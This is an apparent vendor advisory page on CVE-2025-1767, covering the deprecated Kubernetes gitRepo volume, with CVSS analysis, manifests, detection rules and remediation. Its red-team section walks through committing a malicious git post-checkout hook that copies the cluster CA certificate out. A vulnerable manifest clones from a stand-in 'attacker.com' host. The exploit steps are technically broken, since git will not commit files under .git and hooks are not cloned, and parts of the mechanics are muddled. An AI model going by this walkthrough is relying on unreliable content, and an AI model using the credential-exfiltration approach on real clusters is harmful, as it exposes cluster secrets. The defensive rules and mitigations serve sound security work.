CVE-2025-1767
Executive Summary
CVE-2025-1767 affects Kubernetes clusters that use the deprecated in-tree gitRepo volume to clone repositories from other pods on the same node. An attacker with access to a pod on a shared node can craft a malicious git repository that, when cloned by another pod using the gitRepo volume, exposes sensitive data from the host filesystem or other pods. The vulnerability stems from the lack of sandboxing in the deprecated volume plugin, allowing the git clone operation to traverse directories or access unintended resources. Since the feature is deprecated and will not receive security patches, any cluster still using it remains vulnerable. The CVSS score is 6.5 (Medium), with a local attack vector and high confidentiality impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Kubernetes container orchestration platform. The risk is in the supply chain of container images that rely on the deprecated gitRepo volume for initialization. Organizations should audit their Kubernetes manifests for any use of gitRepo volumes and replace them with secure alternatives.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – Requires access to a pod on the same node.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs pod-level access.
- User Interaction (UI): None (N) – No user action needed beyond the clone.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): High (H) – Sensitive data from other pods or host can be exposed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. Exploitation requires local access but can lead to significant data leakage across pods on the same node.
Deep Dive & Mechanics
The in-tree gitRepo volume in Kubernetes allows a pod to clone a git repository into a volume at pod startup. This feature was deprecated in Kubernetes 1.11 and removed in later versions. The vulnerability arises because the git clone operation runs with the pod’s service account and can access the host filesystem if the repository contains symbolic links or uses git features like --recurse-submodules with malicious URLs. An attacker on the same node can:
- Create a malicious git repository with a
.gitattributesor post-checkout hook that reads sensitive files (e.g.,/etc/kubernetes/pki/, other pod secrets). - Trick another pod (or a shared pod) into cloning this repository using the
gitRepovolume. - The cloned data is then stored in the volume, which the attacker can access if they have shared volume mounts or node-level access.
The core issue is the lack of isolation: the git process runs without sandboxing, allowing it to follow symlinks outside the intended volume directory.
Vulnerable vs. Patched Code
Vulnerable Code (in-tree gitRepo volume):
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
spec:
volumes:
- name: git-volume
gitRepo:
repository: "https://attacker.com/malicious-repo.git"
revision: "main"
containers:
- name: app
image: nginx
volumeMounts:
- name: git-volume
mountPath: /data
Patched Code (using init container):
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
initContainers:
- name: git-clone
image: alpine/git
command: ["git", "clone", "--depth=1", "https://trusted-repo.example.com/repo.git", "/repo"]
volumeMounts:
- name: git-volume
mountPath: /repo
containers:
- name: app
image: nginx
volumeMounts:
- name: git-volume
mountPath: /data
volumes:
- name: git-volume
emptyDir: {}
The patched approach uses an init container with a specific git image, avoiding the deprecated in-tree volume. The init container can be further hardened with security contexts (e.g., readOnlyRootFilesystem: true, runAsNonRoot: true).
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Deploy a Kubernetes cluster with a node that has two pods.
- Pod A (attacker) has access to create a malicious git repository on a shared volume or via a web server.
- Pod B (victim) uses the
gitRepovolume to clone from Pod A’s repository.
Exploitation Steps:
- On Pod A, create a git repository with a malicious post-checkout hook:
mkdir malicious-repo && cd malicious-repo git init echo "#!/bin/sh" > .git/hooks/post-checkout echo "cat /etc/kubernetes/pki/ca.crt > /repo/exfil/ca.crt" >> .git/hooks/post-checkout chmod +x .git/hooks/post-checkout git add .git/hooks/post-checkout git commit -m "malicious hook" git push --set-upstream origin main - Serve this repository via a simple HTTP server on Pod A.
- Pod B’s manifest uses the
gitRepovolume pointing to Pod A’s URL. - When Pod B starts, the git clone triggers the post-checkout hook, exfiltrating the CA certificate to the volume.
- The attacker reads the volume if they have access to the same node or shared storage.
Blue Team (Detection & Response)
Detection:
- Monitor for use of
gitRepovolumes in Kubernetes audit logs. - Alert on pods that clone repositories from untrusted or internal-only IPs.
- Use network policies to restrict egress from pods to only trusted git servers.
Response:
- Immediately identify and remove any
gitRepovolume definitions from cluster manifests. - Scan for pods using the deprecated volume type with
kubectl get pods -o json | jq '.items[].spec.volumes[] | select(.gitRepo)'. - Rotate any secrets that may have been exposed (e.g., CA certificates, service account tokens).
Indicators of Compromise (IOCs)
- File System: Unexpected files in
/var/lib/kubelet/pods/*/volumes/that contain sensitive data (e.g.,/etc/kubernetes/pki/files). - Network: Outbound connections from pods to unusual git servers (especially on non-standard ports).
- Kubernetes Audit Logs:
createevents for pods withgitRepovolumes. - Process: Git processes running with unexpected arguments (e.g.,
git clonewith--recurse-submodulesfrom untrusted sources).
Detection Engineering
YARA Rule
rule Detect_K8s_gitRepo_Volume_Usage {
meta:
description = "Detects Kubernetes manifests or logs referencing deprecated gitRepo volume"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1767"
strings:
$gitrepo = "gitRepo:" nocase
$gitrepo_vol = "gitRepo" nocase
condition:
any of them
}
Sigma Rule
title: Kubernetes gitRepo Volume Usage
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of pods using the deprecated gitRepo volume
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1767
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: "create"
objectRef.resource: "pods"
requestObject.spec.volumes[]:
- gitRepo: "*"
condition: selection
falsepositives:
- Legitimate use of deprecated feature (should be migrated)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 9418 (msg:"CVE-2025-1767 Potential gitRepo Volume Exploitation - Outbound Git Clone"; flow:to_server; content:"git-upload-pack"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Identify all pods using
gitRepovolumes with:kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[].gitRepo) | .metadata.namespace + "/" + .metadata.name' - Migrate: Replace
gitRepovolumes with init containers using a trusted git image (e.g.,alpine/git). Apply security contexts:securityContext: runAsNonRoot: true readOnlyRootFilesystem: true capabilities: drop: ["ALL"] - Network Policies: Restrict egress from pods to only known git servers.
- Admission Controllers: Use OPA/Gatekeeper or Kyverno to deny creation of pods with
gitRepovolumes. - Monitoring: Enable Kubernetes audit logging and alert on
gitRepovolume usage.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert